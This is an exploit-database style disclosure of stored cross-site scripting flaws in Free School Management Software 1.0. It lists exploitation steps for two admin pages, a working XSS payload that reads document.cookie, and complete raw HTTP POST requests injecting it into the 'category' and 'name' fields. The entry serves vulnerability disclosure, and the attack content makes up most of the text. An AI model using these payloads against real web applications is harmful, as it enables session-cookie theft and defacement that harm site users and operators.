Free School Management Software 1.0 Cross Site Scripting

`# Exploit Title: Free School Management Software 1.0 - 'multiple' Stored Cross-Site Scripting (XSS)  
# Exploit Author: fuzzyap1  
# Date: 7-12-2021  
# Category: Web application  
# Vendor Homepage: https://www.sourcecodester.com/php/15073/free-school-management-software.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/jovahsource/free_and_open_source.zip  
# Version: 1.0  
# Tested on: windows  
# Vulnerable page: http://localhost/admin/enquiry_category  
# Vulnerable Parameters: "category"  
  
Technical description:  
A stored XSS vulnerability exists in the Event management software. An  
attacker can leverage this vulnerability in order to run javascript on the  
web server surfers behalf, which can lead to cookie stealing, defacement  
and more.  
  
Steps to exploit:  
1) Navigate to http://localhost/admin/enquiry_category  
2) Insert your payload in the "category" parameter  
3) Click "save"  
  
Proof of concept (Poc):  
The following payload will allow you to run the javascript -  
"><img src=# onerror=alert(document.cookie)>  
  
---  
  
POST http://localhost/admin/enquiry_category/update/3 HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)  
Gecko/20100101 Firefox/89.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data;  
boundary=---------------------------151631281127875309002088019539  
Content-Length: 490  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/admin/enquiry_category  
Cookie: CMSSESSID2cb149290396=0bd8mo7gisd21t9pl1ioorhl63;  
ci_session=6vl4s7keu1ucpoomv9tj4oe8an7kspa0  
Upgrade-Insecure-Requests: 1  
  
-----------------------------151631281127875309002088019539  
Content-Disposition: form-data; name="category"  
  
This is for ID 3 informa222tion"><img src=# onerror=alert(document.cookie)>  
-----------------------------151631281127875309002088019539  
Content-Disposition: form-data; name="purpose"  
  
Payment  
-----------------------------151631281127875309002088019539  
Content-Disposition: form-data; name="whom"  
  
Tutorial  
-----------------------------151631281127875309002088019539--  
  
---  
  
Steps to exploit:  
1) Navigate to http://localhost/admin/manage_profile  
2) Insert your payload in the "anme" parameter  
3) Click "save"  
  
Proof of concept (Poc):  
The following payload will allow you to run the javascript -  
"><img src=# onerror=alert('xss')>  
  
---  
  
POST /admin/manage_profile/update HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)  
Gecko/20100101 Firefox/89.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data;  
boundary=---------------------------13285163425854907563979323722  
Content-Length: 519  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/admin/manage_profile  
Cookie: ci_session=hiibl4e0oidvqier9b8hhfb5c1rl6l16  
Upgrade-Insecure-Requests: 1  
  
-----------------------------13285163425854907563979323722  
Content-Disposition: form-data; name="name"  
  
Administrator"><img src=# onerror=alert(document.cookie)>  
-----------------------------13285163425854907563979323722  
Content-Disposition: form-data; name="email"  
  
[email protected]  
-----------------------------13285163425854907563979323722  
Content-Disposition: form-data; name="userfile"; filename=""  
Content-Type: application/octet-stream  
  
  
-----------------------------13285163425854907563979323722--  
  
---  
`